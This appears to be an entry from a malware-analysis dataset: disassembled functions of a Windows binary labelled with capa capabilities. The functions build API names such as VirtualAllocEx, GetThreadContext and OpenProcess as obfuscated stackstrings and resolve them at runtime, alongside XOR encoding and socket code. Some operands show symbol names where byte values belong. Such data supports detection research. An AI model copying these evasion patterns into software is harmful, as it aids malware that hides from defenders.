joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000756c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rsi, rdx
mov r14, rcx
mov edi, recv
call fcn.140006bc4
mov rbx, rax
test rax, rax
je 0x1400075de
lea rdx, [rbp - 0x10]
mov dword [rbp - 6], 0x41676e
mov rcx, rax
mov dword [rbp - 0xa], 0x69727453
mov dword [rbp - 0x10], 0x64697555
mov word [rbp - 0xc], 0x6f54
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400075d6
mov rdx, rsi
mov rcx, r14
call rax
mov edi, eax
mov rcx, rbx
call fcn.1400ab3bc
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x58]
add rsp, 0x30
pop rbp
ret

Function at 0x1400075fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rbx, rcx
call fcn.1400ab2bc
mov rdi, rax
test rax, rax
je 0x140007670
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x1d], 0x6e694668
mov rcx, rax
mov word [rbp - 0x1f], 0x7461
mov word [rbp - 0x11], 0x4165
mov byte [rbp - 0xf], 0
mov dword [rbp - 0x18], 0x656c6946
mov word [rbp - 0x14], 0x614e
mov byte [rbp - 0x20], 0x50
mov byte [rbp - 0x12], WSASetLastError
mov byte [rbp - 0x19], 0x64
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007668
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, rdi
call fcn.1400ab3bc
mov rdi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140007684
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rsi, r8
mov edi, 0x80004005
call fcn.1400ab2fc
mov rbx, rax
test rax, rax
je 0x14000770e
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x18], 0x50726564
mov rcx, rax
mov dword [rbp - 0x13], 0x416874
mov dword [rbp - 0x20], 0x65474853
mov word [rbp - 0x1b], 0x6f46
mov byte [rbp - 0x19], WSAGetLastError
mov byte [rbp - 0x1c], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x14], 0x61
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x140007706
mov rax, qword [rbp + 0x30]
xor r9d, r9d
mov r8, rsi
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1c]
call r10
mov edi, eax
mov rcx, rbx
call fcn.1400ab3bc
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x140007728
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov edi, r8d
mov word [rbp - 0xf], 0x6570
or rbx, 0xffffffffffffffff
mov word [rbp - 6], reloc.WS2_32.dll_WSAStartup
mov word [rbp - 9], 0x6563
mov word [rbp - 0xc], 0x7250
mov byte [rbp - 0xd], WSASetLastError
mov byte [rbp - 0xa], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp - 7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x10], 0x4f
call fcn.140006b84
mov rcx, rax
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000778f
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call rax
mov rbx, rax
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x1400077a4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rsi, r8
mov r14, rcx
mov edi, 1
call fcn.140006b44
mov rbx, rax
test rax, rax
je 0x14000782c
lea rdx, [rbp - 0x20]
mov word [rbp - 0x13], 0x6972
mov rcx, rax
mov word [rbp - 0x19], 0x7965
mov dword [rbp - 0x1e], 0x74655367
mov dword [rbp - 0x17], 0x75636553
mov word [rbp - 0x10], 0x79
mov byte [rbp - 0x1a], 0x4b
mov word [rbp - 0x20], 0x6552
mov byte [rbp - 0x11], reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007824
mov r8, rsi
lea edx, [rdi + 3]
mov rcx, r14
call rax
mov edi, eax
mov rcx, rbx
call fcn.1400ab3bc
mov rbx, qword [rsp + 0x50]
mov eax, edi
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret

Function at 0x140007848
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
or rbx, 0xffffffffffffffff
mov dword [rbp - 0x1a], 0x746e6572
mov dword [rbp - 0x1f], 0x75437465
mov dword [rbp - 0x12], 0x737365
mov dword [rbp - 0x16], 0x636f7250
mov byte [rbp - 0x20], 0x47
mov byte [rbp - 0x1b], WSAStartup
call fcn.140006b84
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007899
call rax
mov rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x1400078a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rsi, rdx
mov r14, rcx
xor ebx, ebx
call fcn.140006b44
mov rdi, rax
test rax, rax
je 0x140007930
lea rdx, [rbp - 0x20]
mov word [rbp - 0xf], 0x536f
mov rcx, rax
mov dword [rbp - 0x14], 0x64695367
mov dword [rbp - 0x18], 0x6e697274
mov dword [rbp - 0xd], 0x416469
mov dword [rbp - 0x1c], 0x53747265
mov word [rbp - 0x1f], 0x6e6f
mov byte [rbp - 0x10], 0x54
mov byte [rbp - 0x1d], 0x76
mov byte [rbp - 0x20], 0x43
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007928
mov rdx, rsi
mov rcx, r14
call rax
mov ebx, eax
mov rcx, rdi
call fcn.1400ab3bc
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret

Function at 0x14000794c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
xor ebx, ebx
call fcn.140006b44
mov rdi, rax
test rax, rax
je 0x1400079b2
lea rdx, [rbp - 0x10]
mov dword [rbp - 0xc], 0x614d4353
mov rcx, rax
mov dword [rbp - 8], 0x6567616e
mov word [rbp - 4], 0x4172
mov dword [rbp - 0x10], 0x6e65704f
mov byte [rbp - 2], bl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400079aa
xor edx, edx
lea r8d, [rbx + 1]
xor ecx, ecx
call rax
mov rbx, rax
mov rcx, rdi
call fcn.1400ab3bc
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x1400079c8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rdi, r8
mov dword [rbp - 0xf], 0x75747269
mov rsi, rdx
mov dword [rbp - 9], 0x6f6c6c41
mov r14, rcx
mov dword [rbp - 5], 0x784563
xor ebx, ebx
mov byte [rbp - 0x10], 0x56
mov word [rbp - 0xb], 0x6c61
call fcn.140006b84
mov rcx, rax
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x140007a43
mov eax, dword [rbp + 0x30]
mov r9d, 0x3000
mov r8, rdi
mov dword [rsp + 0x20], eax
mov rdx, rsi
mov rcx, r14
call r10
mov rbx, rax
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret
Function at 0x140007a60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rdi, rdx
mov dword [rbp - 0x1e], 0x72685474
mov rsi, rcx
mov word [rbp - 0x20], 0x6547
xor ebx, ebx
mov dword [rbp - 0x17], 0x746e6f43
mov dword [rbp - 0x13], 0x747865
mov word [rbp - 0x19], 0x6461
mov byte [rbp - 0x1a], 0x65
call fcn.140006b84
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007ac5
mov rdx, rdi
mov rcx, rsi
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbp
ret

Function at 0x140007adc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rdi, rdx
mov dword [rbp - 0x18], 0x6c694665
xor ebx, ebx
mov word [rbp - 0x14], 0x4e65
mov dword [rbp - 0x20], 0x4d746547
mov dword [rbp - 0x1c], 0x6c75646f
mov dword [rbp - 0x11], 0x41656d
mov byte [rbp - 0x12], 0x61
call fcn.140006b84
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007b3f
mov r8d, 0x104
mov rdx, rdi
xor ecx, ecx
call rax
mov ebx, eax
mov rdi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140007b54
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rsi, r9
mov r14, rdx
mov r15, rcx
mov edi, 1
call fcn.140006b44
mov rbx, rax
test rax, rax
je 0x140007bf6
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x16], 0x4565756c
mov rcx, rax
mov dword [rbp - 0x20], 0x51676552
mov word [rbp - 0x11], 0x57
mov word [rbp - 0x19], 0x5679
mov word [rbp - 0x1c], 0x6575
mov byte [rbp - 0x12], 0x78
mov byte [rbp - 0x17], 0x61
mov byte [rbp - 0x1a], WSAStartup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x140007bee
mov rax, qword [rbp + 0x48]
mov r9, rsi
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rax, qword [rbp + 0x40]
mov rdx, r14
mov rcx, r15
mov qword [rsp + 0x20], rax
call r10
mov edi, eax
mov rcx, rbx
call fcn.1400ab3bc
lea r11, [rsp + 0x50]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140007c14
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov esi, r9d
mov r14, rdx
mov edi, 1
call fcn.140006b44
mov rbx, rax
test rax, rax
je 0x140007ca4
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x4f676552
mov rcx, rax
mov word [rbp - 0xc], 0x6570
mov dword [rbp - 9], 0x4579654b
mov word [rbp - 4], 0x57
mov byte [rbp - 0xa], WSASetLastError
mov byte [rbp - 5], 0x78
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x140007c9c
mov rax, qword [rbp + 0x30]
mov r9d, esi
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, 0xffffffff80000002
call r10
mov edi, eax
mov rcx, rbx
call fcn.1400ab3bc
mov rbx, qword [rsp + 0x50]
mov eax, edi
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret

Function at 0x140007e34
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rsi, r9
mov r14d, r8d
mov r15d, edx
mov r12, rcx
xor ebx, ebx
call fcn.140006c84
mov rdi, rax
test rax, rax
je 0x140007ec4
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x1f], 0x69467465
mov rcx, rax
mov dword [rbp - 0x1a], 0x72655665
mov dword [rbp - 0x10], 0x416f66
mov dword [rbp - 0x15], 0x496e6f69
mov byte [rbp - 0x20], 0x47
mov byte [rbp - 0x11], WSASetLastError
mov byte [rbp - 0x1b], WSAGetLastError
mov byte [rbp - 0x16], reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007ebc
mov r9, rsi
mov r8d, r14d
mov edx, r15d
mov rcx, r12
call rax
mov ebx, eax
mov rcx, rdi
call fcn.1400ab3bc
mov rsi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret

Function at 0x140007ee4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rsi, rdx
mov r14, rcx
xor ebx, ebx
call fcn.140006c84
mov rdi, rax
test rax, rax
je 0x140007f70
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x16], 0x6e6f6973
mov rcx, rax
mov word [rbp - 0xa], 0x41
mov dword [rbp - 0x1f], 0x69467465
mov dword [rbp - 0x1a], 0x72655665
mov dword [rbp - 0xf], 0x7a69536f
mov word [rbp - 0x11], 0x666e
mov byte [rbp - 0x12], 0x49
mov byte [rbp - 0x1b], WSAGetLastError
mov byte [rbp - 0x20], 0x47
mov byte [rbp - 0xb], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007f68
mov rdx, rsi
mov rcx, r14
call rax
mov ebx, eax
mov rcx, rdi
call fcn.1400ab3bc
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret
Function at 0x140007f8c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rsi, r9
mov r14, r8
mov edi, 1
call fcn.1400ab2bc
mov rbx, rax
test rax, rax
je 0x14000802c
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x1b], 0x72657551
mov rcx, rax
mov word [rbp - 0x1d], 0x636f
mov dword [rbp - 0x14], 0x676e6972
mov word [rbp - 0x20], 0x7341
mov word [rbp - 0x16], 0x7453
mov word [rbp - 0x10], 0x41
mov byte [rbp - 0x1e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x17], 0x79
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x140008024
mov rax, qword [rbp + 0x38]
lea edx, [rdi + 1]
mov qword [rsp + 0x28], rax
mov r9, rsi
mov rax, qword [rbp + 0x30]
mov r8, r14
xor ecx, ecx
mov qword [rsp + 0x20], rax
call r10
mov edi, eax
mov rcx, rbx
call fcn.1400ab3bc
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret

Function at 0x140008048
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov dword [rbp - 0xf], 0x576e6f69
mov byte [rbp - 0xb], bl
mov rdi, r9
mov rsi, rdx
mov dword [rbp - 0x19], 0x6e49656d
mov r14, rcx
mov word [rbp - 0x15], 0x6f66
mov word [rbp - 0x1d], 0x6f56
mov word [rbp - 0x20], 0x6547
mov word [rbp - 0x12], 0x616d
mov byte [rbp - 0x10], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x1e], reloc.WS2_32.dll_WSACleanup
mov word [rbp - 0x1b], 0x756c
mov byte [rbp - 0x13], WSAStartup
call fcn.140006b84
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x1400080f7
mov rax, qword [rbp + 0x40]
mov r8d, 0x105
mov dword [rsp + 0x38], r8d
mov r9, rdi
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rax, qword [rbp + 0x38]
mov rcx, r14
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x20], rax
call r10
mov ebx, eax
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140008b7c
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x5c]
call fcn.140077010
mov eax, 1
mov dword [rbx], 0x67452301
mov dword [rbx + 4], 0xefcdab89
mov dword [rbx + 8], 0x98badcfe
mov dword [rbx + 0xc], 0x10325476
add rsp, 0x20
pop rbx
ret
Function at 0x14000fc88
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
xor r9d, r9d
cmp byte [rcx + 8], r9b
je 0x14000fcbb
cmp dword [rcx + 0x3d0], r9d
jle 0x14000fcb6
sub r8, rdx
mov al, byte [r8 + rdx]
inc r9d
xor byte [rdx], al
inc rdx
cmp r9d, dword [rcx + 0x3d0]
jl 0x14000fca1
add rsp, 0x48
ret
mov rdx, qword [0x1400d64b8]
lea rcx, [rsp + 0x20]
call fcn.14000fd14
lea rdx, [0x1400cc270]
lea rcx, [rsp + 0x20]
call fcn.1400778e8
int3
Function at 0x140032460
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
xor r9d, r9d
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_recv]
cdqe
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x14003250a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x2c], 0x2733
jne 0x1400324bd
mov dword [rsp + 0x24], 1
jmp 0x1400324c5
mov dword [rsp + 0x24], 0
cmp dword [rsp + 0x24], 0
jne 0x1400324d6
mov dword [rsp + 0x28], 0
jmp 0x1400324de
mov dword [rsp + 0x28], 1
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x68]
mov qword [rax], 0
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x140032503
mov eax, 0x51
jmp 0x140032519
mov eax, 0x38
jmp 0x140032519
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
xor eax, eax
add rsp, 0x48
ret

Function at 0x1400326b0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x158
mov rax, qword [0x1400d3be8]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor eax, eax
test eax, eax
jne 0x1400326dc
xor eax, eax
test eax, eax
jne 0x1400326e2
mov rax, qword [rsp + 0x160]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
movsxd rax, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx + rax*8 + 0x1d0]
mov qword [rsp + 0x38], rax
mov r8d, dword [rsp + 0x168]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
call fcn.140032c60
test eax, eax
je 0x14003274b
mov rax, qword [rsp + 0x180]
mov dword [rax], 0x1b
mov rax, 0xffffffffffffffff
jmp 0x140032803
xor r9d, r9d
mov r8d, dword [rsp + 0x178]
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_send]
cdqe
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x180]
mov dword [rax], 0
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400327fe
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x2733
jne 0x1400327b3
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x180]
mov dword [rax], 0x51
jmp 0x1400327fe
mov r8d, 0x100
lea rdx, [rsp + 0x40]
mov ecx, dword [rsp + 0x20]
call fcn.140060ec0
mov r8, rax
lea rdx, str.Send_failure:__s
mov rcx, qword [rsp + 0x160]
call fcn.1400321f0
mov rax, qword [rsp + 0x160]
mov ecx, dword [rsp + 0x20]
mov dword [rax + 0xd0c], ecx
mov rax, qword [rsp + 0x180]
mov dword [rax], 0x37
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140075400
add rsp, 0x158
ret
Function at 0x140032b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax + 0xa5f]
test eax, eax
je 0x140032c49
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x268], 0
je 0x140032bd4
mov rcx, qword [rsp + 0x50]
call fcn.14001a4a0
mov byte [rsp + 0x30], al
mov dl, 1
mov rcx, qword [rsp + 0x50]
call fcn.14001a430
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x1d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov edx, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
call qword [rax + 0x268]
movzx edx, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
call fcn.14001a430
jmp 0x140032c49
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140032bf3
cmp dword [rsp + 0x34], 1
je 0x140032bf3
cmp dword [rsp + 0x34], 2
je 0x140032bf3
jmp 0x140032c49
movsxd rax, dword [rsp + 0x58]
imul rax, rax, 3
lea rcx, [0x1400afd98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov r9, qword [rcx + 0x1c8]
mov r8d, 1
mov edx, 2
mov rcx, rax
call fcn.140080b6c
mov rax, qword [rsp + 0x50]
mov r9, qword [rax + 0x1c8]
mov r8d, 1
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.140080b6c
add rsp, 0x48
ret
Function at 0x140032c60
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx + rax*8 + 0x1d0]
mov qword [rsp + 0x38], rax
movsxd rax, dword [rsp + 0x70]
imul rax, rax, 0x20
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x218]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x10]
mov rax, qword [rax + 8]
sub rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x3e0]
mov eax, dword [rax + 0x84]
and eax, 3
test eax, eax
je 0x140032e2f
movsxd rax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea rdx, [0x140032530]
cmp qword [rcx + rax*8 + 0x1f8], rdx
jne 0x140032e2f
mov rax, qword [rsp + 0x28]
cmp qword [rax], 0
je 0x140032d12
cmp qword [rsp + 0x30], 0
je 0x140032e2f
xor r9d, r9d
mov r8, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
mov rcx, qword [rsp + 0x38]
call fcn.14004cca0
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
je 0x140032e2f
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x140032e2f
mov rax, qword [rsp + 0x28]
cmp qword [rax], 0
jne 0x140032dc2
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x6d4]
shl eax, 1
mov eax, eax
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 8]
call qword [section..data]
mov rcx, qword [rsp + 0x28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28]
cmp qword [rax], 0
jne 0x140032d9a
mov eax, 0x1b
jmp 0x140032e31
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x18], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
cmp qword [rax], 0
je 0x140032e22
xor eax, eax
test eax, eax
jne 0x140032dcd
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
add rax, qword [rcx + 0x10]
xor r9d, r9d
mov r8d, dword [rsp + 0x30]
mov rdx, rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_recv]
cdqe
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jle 0x140032e20
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x10]
add rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 0x10], rax
jmp 0x140032e2f
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], 0
xor eax, eax
add rsp, 0x58
ret